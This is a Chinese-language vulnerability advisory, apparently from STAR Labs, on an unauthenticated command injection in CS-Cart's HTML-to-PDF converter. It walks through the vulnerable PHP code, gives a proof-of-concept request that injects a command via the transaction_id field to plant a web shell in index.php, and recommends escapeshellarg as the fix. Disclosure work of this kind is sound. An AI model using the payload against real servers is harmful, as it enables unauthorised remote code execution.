CS-Cart PDF插件未授权命令注入漏洞分析

本文详细分析了CS-Cart HTML转PDF插件中存在的未授权命令注入漏洞(CVE-2023-XXXX),攻击者可利用该漏洞实现远程代码执行。文章包含漏洞原理、复现步骤及修复建议。

CS-Cart PDF插件未授权命令注入 | STAR实验室

摘要

CS-Cart的HTML转PDF转换器(https://github.com/cscart/pdf)存在命令注入漏洞,允许未授权攻击者实现远程代码执行(RCE)。该漏洞仅影响PDF转换器插件使用的HTML转PDF转换服务,不影响CS-Cart基础安装。

产品背景

在CS-Cart v4.13.2中,HTML转PDF转换器是默认禁用的可选插件。但在v4.13.1及以下版本中,该插件是默认内置启用的。受影响产品指用于HTML转PDF转换的外部服务,可自托管。

确认受影响版本

cscart/pdf所有版本(包括提交0e8c5bb及之前)均受影响。

安全影响

未授权攻击者可通过PDF转换服务实现远程代码执行。

建议CVSS3.1评分

基础评分9.8(严重)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

漏洞描述

/index.php中,请求体被JSON解码为关联对象:

1
2
3
4
5
$r = new Router(APP_WEB);
$r->post('/pdf/render', function() {
    $request = json_decode(file_get_contents('php://input'), true);
    return Converter::convert($request);
})->accept(Response::pdf());

漏洞存在于/app/Pdfc/Converter.php中的Converter::convert($params)函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
static public function convert($params)
{
    if (!empty($params['content'])) {
        $transaction_id = !empty($params['transaction_id']) ? $params['transaction_id'] : md5(uniqid('', true)); // [1]
        
        $html_file = APP_DIR . '/files/' . $transaction_id . '.html'; // [2]
        $pdf_file = APP_DIR . '/files/' . $transaction_id . '.pdf';   // [3]
        @file_put_contents($html_file, $params['content']);         // [4]

        $cmd = self::getBinPath() . ' ' . self::formParams($params) . ' ' . $html_file . ' ' . $pdf_file; // [5]
        exec($cmd); // [6]
    }
}
  1. $params['transaction_id']来自请求体JSON对象
  2. 使用用户输入构造HTML文件路径
  3. 使用用户输入构造PDF文件路径
  4. 通过路径遍历可实现越界文件写入
  5. 使用未转义的用户输入构造shell命令
  6. 执行包含用户输入的shell命令

可利用端点:

  • /pdf/render (POST)
  • /pdf/batch/add (POST) 配合 /pdf/batch/render/* (GET/POST)

复现步骤

  1. 按https://github.com/cscart/pdf-infrastructure 搭建环境
  2. 发送以下HTTP请求注入命令:
1
2
3
4
POST /pdf/render HTTP/1.1
Host: localhost
Content-Type: application/json
{"content":" ","transaction_id":"; echo '$r->get(\"/rce\", function() { return shell_exec($_GET[\"cmd\"]); })->accept(Response::status());' >> /var/www/html/genworker/index.php #"}
  1. 访问http://localhost:80/index.php?cmd=id 查看命令执行结果

修复建议

使用escapeshellarg()转义命令参数:

1
$cmd = self::getBinPath() . ' ' . self::formParams($params) . ' ' . escapeshellarg($html_file) . ' ' . escapeshellarg($pdf_file);

同时应对$transaction_id实施路径遍历防护。

发现者

STAR实验室Ngo Wei Lin (@Creastery)

时间线

  • 2023-02-09 向厂商披露
  • 2023-02-13 厂商确认已在内部审计中发现并修复
  • 2023-03-03 公开披露
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计